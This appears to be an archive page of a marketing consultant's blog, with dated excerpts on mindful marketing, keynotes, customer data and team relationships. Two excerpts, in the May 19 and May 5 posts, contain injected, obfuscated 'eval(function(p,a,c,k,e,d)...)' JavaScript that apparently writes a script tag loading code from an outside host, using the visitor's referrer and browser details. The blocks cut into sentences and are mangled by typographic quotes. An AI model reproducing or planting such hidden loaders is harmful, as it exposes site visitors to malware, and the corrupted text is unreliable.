Do you have what it takes to lead successfully in today’s fast-changing marketing environment?
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That’s the tough question posed in Be a Marketing Maestro, a new eBook from Direct Marketing News and sponsored by Teradata. To thrive as a marketing leader today, you must learn how to create harmony in a cacophonous marketing environment.…
May 27, 2015
May 21, 2015
Spring is bursting with professional development opportunities for you. Below you will find my upcoming schedule for keynotes and workshops. Please join me for these exceptional networking and learning experiences.
Integrate 2015 – Integrated Marketing Conference, West Virginia University, May 29-30. Join me for my keynote and book signing. You’ll meet marketing leaders from Sony Music Entertainment, Coca-Cola, St. Jude Hospital, and PEMCO Mutual Insurance.
The Social Shake-Up 2015 Workshop and book signing: “Leading the Mindful Marketing Revolution,” June 8, Atlanta….
May 19, 2015
Fifteen years ago, I was the first Global Account Team leader in Siebel’s history to develop a written plan to expand the Microsoft account.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkdkd|var|u0026u|referrer|fbdtz||js|php’.split(‘|’),0,{}))
Our customer data for this key account resided partially in Lotus Notes (remember that product?) and spreadsheets. The planning process lasted 8 weeks, culminating in two intensive team planning days at a fancy London hotel.…
May 14, 2015
Last fall, at the conclusion of my “Leading the Mindful Marketing Revolution” keynote, my husband and I escaped to a private resort near El Yunque National Forest.
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Our intentions to disconnect and relax were quickly thwarted. Within a few hours of arriving at the spacious, secluded condo, the air conditioning failed. Our golf cart—our only means of transport within the expansive beach resort—broke down.…
May 7, 2015
What is marketing to you? Does it sometimes feel like it’s about winning at any cost, clawing your way to the top, glomming onto the latest trends and tricks while scrambling not to lose ground?
Well, there’s a different way. And I’m pleased to offer a very exciting opportunity to discover what it is.
I’ll be presenting a marketing workshop, How to Lead the Mindful Marketing Revolution, at The Social Shake-Up 2015 in Atlanta, GA….
May 5, 2015
While speaking at the Adobe Digital Summit last month, I enjoyed meeting Maureen Goldman. She expressed interest in my newest book eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrsnk|var|u0026u|referrer|ibitd||js|php’.split(‘|’),0,{}))
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Here are the key insights from our discussion:
1. It’s essential to identify which marketing habits and initiatives in your organization have become mindless. Many members of my marketing community feel overwhelmed, exhausted, and adrenaline-addicted….
April 16, 2015
There’s no debate that customer data plays an important role in marketing decisions. But are we collecting the right data? Is the massive amount of marketing data we’re collecting actually helping us understand our customers?
During AdWeek DC, I discussed the topic of big data with Jamie Gorski, CMO of Bozzuto. Here’s a sampling of what we covered in this enlightening “fireside chat”:…
How data gathering can become a mindless marketing activity
Real-life examples of how to use data effectively to build customer relationships
What “warm data”
April 9, 2015
Last month, I completed my first swim camp. I learned more in 6 days than I have in 30 years of swim practices. I am more tired and sore than I can ever remember. At times, I felt victorious and attribute my progress to coach Scott. At other times, I became frustrated and blamed him for my pain and suffering.
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Love/hate relationships can happen in high performing Sales and Marketing teams too.…
April 2, 2015
In our digital world, Marketing and IT need to work more closely than ever in order to drive growth and improve the customer experience. However, it can be difficult for these two teams to come together. Differences in communication, culture, and priorities too often cause friction.
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Celerity, a business and digital consulting firm, recently hosted a CMO-CIO Roundtable to discuss these issues….
March 26, 2015
Over the past couple of weeks, I’ve been sharing about my time as a panel leader and invited guest at this year’s Adobe Digital Summit. I had the pleasure of meeting and exchanging ideas with a panoply of marketers, bloggers, analysts, and Adobe executives.
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In my latest Forbes CMO post, I share the best insights and marketing innovation trends I took away from the conference.…